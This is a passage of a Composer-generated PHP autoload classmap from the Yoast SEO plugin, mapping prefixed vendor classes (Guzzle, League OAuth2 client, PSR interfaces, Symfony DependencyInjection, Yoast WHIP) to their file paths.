        'YoastSEO_Vendor\\GuzzleHttp\\BodySummarizerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizerInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Client' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Client.php',
        'YoastSEO_Vendor\\GuzzleHttp\\ClientInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/ClientInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\ClientTrait' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/ClientTrait.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\CookieJar' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJar.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\CookieJarInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJarInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\FileCookieJar' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\SessionCookieJar' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\SetCookie' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SetCookie.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\BadResponseException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/BadResponseException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ClientException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ClientException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ConnectException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ConnectException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\GuzzleException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/GuzzleException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\InvalidArgumentException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/InvalidArgumentException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\RequestException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/RequestException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ServerException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ServerException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\TooManyRedirectsException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TooManyRedirectsException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Exception\\TransferException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TransferException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\HandlerStack' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/HandlerStack.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlFactory' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactory.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlHandler' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlHandler.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlMultiHandler' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\EasyHandle' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/EasyHandle.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\HeaderProcessor' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/HeaderProcessor.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\MockHandler' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/MockHandler.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\Proxy' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/Proxy.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Handler\\StreamHandler' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/StreamHandler.php',
        'YoastSEO_Vendor\\GuzzleHttp\\MessageFormatter' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatter.php',
        'YoastSEO_Vendor\\GuzzleHttp\\MessageFormatterInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatterInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Middleware' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Middleware.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Pool' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Pool.php',
        'YoastSEO_Vendor\\GuzzleHttp\\PrepareBodyMiddleware' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\AggregateException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/AggregateException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\CancellationException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/CancellationException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Coroutine' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Coroutine.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Create' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Create.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Each' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Each.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\EachPromise' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/EachPromise.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\FulfilledPromise' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/FulfilledPromise.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Is' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Is.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Promise' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Promise.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\PromiseInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/PromiseInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\PromisorInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/PromisorInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\RejectedPromise' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/RejectedPromise.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\RejectionException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/RejectionException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\TaskQueue' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/TaskQueue.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\TaskQueueInterface' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/TaskQueueInterface.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Utils' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/promises/src/Utils.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\AppendStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/AppendStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\BufferStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/BufferStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\CachingStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/CachingStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\DroppingStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/DroppingStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Exception\\MalformedUriException' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Exception/MalformedUriException.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\FnStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/FnStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Header' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Header.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\HttpFactory' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/HttpFactory.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\InflateStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/InflateStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\LazyOpenStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/LazyOpenStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\LimitStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/LimitStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Message' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Message.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MessageTrait' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/MessageTrait.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MimeType' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/MimeType.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MultipartStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/MultipartStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\NoSeekStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/NoSeekStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\PumpStream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/PumpStream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Query' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Query.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Request' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Request.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Response' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Response.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Rfc7230' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Rfc7230.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\ServerRequest' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/ServerRequest.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Stream' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Stream.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\StreamDecoratorTrait' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/StreamDecoratorTrait.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\StreamWrapper' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/StreamWrapper.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UploadedFile' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/UploadedFile.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Uri' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Uri.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriComparator' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/UriComparator.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriNormalizer' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/UriNormalizer.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriResolver' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/UriResolver.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Utils' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/psr7/src/Utils.php',
        'YoastSEO_Vendor\\GuzzleHttp\\RedirectMiddleware' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/RedirectMiddleware.php',
        'YoastSEO_Vendor\\GuzzleHttp\\RequestOptions' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/RequestOptions.php',
        'YoastSEO_Vendor\\GuzzleHttp\\RetryMiddleware' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/RetryMiddleware.php',
        'YoastSEO_Vendor\\GuzzleHttp\\TransferStats' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/TransferStats.php',
        'YoastSEO_Vendor\\GuzzleHttp\\Utils' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/Utils.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\AbstractGrant' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/AbstractGrant.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\AuthorizationCode' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/AuthorizationCode.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\ClientCredentials' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/ClientCredentials.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\Exception\\InvalidGrantException' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/Exception/InvalidGrantException.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\GrantFactory' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/GrantFactory.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\Password' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/Password.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\RefreshToken' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Grant/RefreshToken.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\HttpBasicAuthOptionProvider' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/HttpBasicAuthOptionProvider.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\OptionProviderInterface' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/OptionProviderInterface.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\PostAuthOptionProvider' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/PostAuthOptionProvider.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\AbstractProvider' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Provider/AbstractProvider.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\Exception\\IdentityProviderException' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Provider/Exception/IdentityProviderException.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\GenericProvider' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Provider/GenericProvider.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\GenericResourceOwner' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Provider/GenericResourceOwner.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\ResourceOwnerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Provider/ResourceOwnerInterface.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\AccessToken' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Token/AccessToken.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\AccessTokenInterface' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Token/AccessTokenInterface.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\ResourceOwnerAccessTokenInterface' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Token/ResourceOwnerAccessTokenInterface.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\ArrayAccessorTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/ArrayAccessorTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\BearerAuthorizationTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/BearerAuthorizationTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\GuardedPropertyTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/GuardedPropertyTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\MacAuthorizationTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/MacAuthorizationTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\ProviderRedirectTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/ProviderRedirectTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\QueryBuilderTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/QueryBuilderTrait.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\RequestFactory' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/RequestFactory.php',
        'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\RequiredParameterTrait' => __DIR__ . '/../..' . '/vendor_prefixed/league/oauth2-client/src/Tool/RequiredParameterTrait.php',
        'YoastSEO_Vendor\\Psr\\Container\\ContainerExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/container/src/ContainerExceptionInterface.php',
        'YoastSEO_Vendor\\Psr\\Container\\ContainerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/container/src/ContainerInterface.php',
        'YoastSEO_Vendor\\Psr\\Container\\NotFoundExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/container/src/NotFoundExceptionInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Client\\ClientExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-client/src/ClientExceptionInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Client\\ClientInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-client/src/ClientInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Client\\NetworkExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-client/src/NetworkExceptionInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Client\\RequestExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-client/src/RequestExceptionInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\MessageInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/MessageInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\RequestFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/RequestFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\RequestInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/RequestInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\ResponseFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/ResponseFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\ResponseInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/ResponseInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\ServerRequestFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/ServerRequestFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\ServerRequestInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/ServerRequestInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\StreamFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/StreamFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\StreamInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/StreamInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\UploadedFileFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/UploadedFileFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\UploadedFileInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/UploadedFileInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\UriFactoryInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-factory/src/UriFactoryInterface.php',
        'YoastSEO_Vendor\\Psr\\Http\\Message\\UriInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/http-message/src/UriInterface.php',
        'YoastSEO_Vendor\\Psr\\Log\\AbstractLogger' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/AbstractLogger.php',
        'YoastSEO_Vendor\\Psr\\Log\\InvalidArgumentException' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/InvalidArgumentException.php',
        'YoastSEO_Vendor\\Psr\\Log\\LogLevel' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/LogLevel.php',
        'YoastSEO_Vendor\\Psr\\Log\\LoggerAwareInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/LoggerAwareInterface.php',
        'YoastSEO_Vendor\\Psr\\Log\\LoggerAwareTrait' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/LoggerAwareTrait.php',
        'YoastSEO_Vendor\\Psr\\Log\\LoggerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/LoggerInterface.php',
        'YoastSEO_Vendor\\Psr\\Log\\LoggerTrait' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/LoggerTrait.php',
        'YoastSEO_Vendor\\Psr\\Log\\NullLogger' => __DIR__ . '/../..' . '/vendor_prefixed/psr/log/Psr/Log/NullLogger.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Argument\\RewindableGenerator' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Argument/RewindableGenerator.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Container' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Container.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ContainerInterface.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\EnvNotFoundException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/EnvNotFoundException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ExceptionInterface' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/ExceptionInterface.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\InvalidArgumentException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/InvalidArgumentException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\LogicException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/LogicException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ParameterCircularReferenceException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/ParameterCircularReferenceException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\RuntimeException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/RuntimeException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ServiceCircularReferenceException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/ServiceCircularReferenceException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ServiceNotFoundException' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/Exception/ServiceNotFoundException.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\EnvPlaceholderParameterBag' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/EnvPlaceholderParameterBag.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\FrozenParameterBag' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/FrozenParameterBag.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\ParameterBag' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBag.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\ParameterBagInterface' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBagInterface.php',
        'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ResettableContainerInterface' => __DIR__ . '/../..' . '/vendor_prefixed/symfony/dependency-injection/ResettableContainerInterface.php',
        'Yoast\\WHIPv2\\Configuration' => __DIR__ . '/..' . '/yoast/whip/src/Configuration.php',
        'Yoast\\WHIPv2\\Exceptions\\EmptyProperty' => __DIR__ . '/..' . '/yoast/whip/src/Exceptions/EmptyProperty.php',
        'Yoast\\WHIPv2\\Exceptions\\InvalidOperatorType' => __DIR__ . '/..' . '/yoast/whip/src/Exceptions/InvalidOperatorType.php',
        'Yoast\\WHIPv2\\Exceptions\\InvalidType' => __DIR__ . '/..' . '/yoast/whip/src/Exceptions/InvalidType.php',
        'Yoast\\WHIPv2\\Exceptions\\InvalidVersionComparisonString' => __DIR__ . '/..' . '/yoast/whip/src/Exceptions/InvalidVersionComparisonString.php',
        'Yoast\\WHIPv2\\Host' => __DIR__ . '/..' . '/yoast/whip/src/Host.php',
        'Yoast\\WHIPv2\\Interfaces\\DismissStorage' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/DismissStorage.php',
        'Yoast\\WHIPv2\\Interfaces\\Listener' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/Listener.php',
        'Yoast\\WHIPv2\\Interfaces\\Message' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/Message.php',
        'Yoast\\WHIPv2\\Interfaces\\MessagePresenter' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/MessagePresenter.php',
        'Yoast\\WHIPv2\\Interfaces\\Requirement' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/Requirement.php',
        'Yoast\\WHIPv2\\Interfaces\\VersionDetector' => __DIR__ . '/..' . '/yoast/whip/src/Interfaces/VersionDetector.php',
        'Yoast\\WHIPv2\\MessageDismisser' => __DIR__ . '/..' . '/yoast/whip/src/MessageDismisser.php',
        'Yoast\\WHIPv2\\MessageFormatter' => __DIR__ . '/..' . '/yoast/whip/src/MessageFormatter.php',
        'Yoast\\WHIPv2\\MessagesManager' => __DIR__ . '/..' . '/yoast/whip/src/MessagesManager.php',
        'Yoast\\WHIPv2\\Messages\\BasicMessage' => __DIR__ . '/..' . '/yoast/whip/src/Messages/BasicMessage.php',
        'Yoast\\WHIPv2\\Messages\\HostMessage' => __DIR__ . '/..' . '/yoast/whip/src/Messages/HostMessage.php',
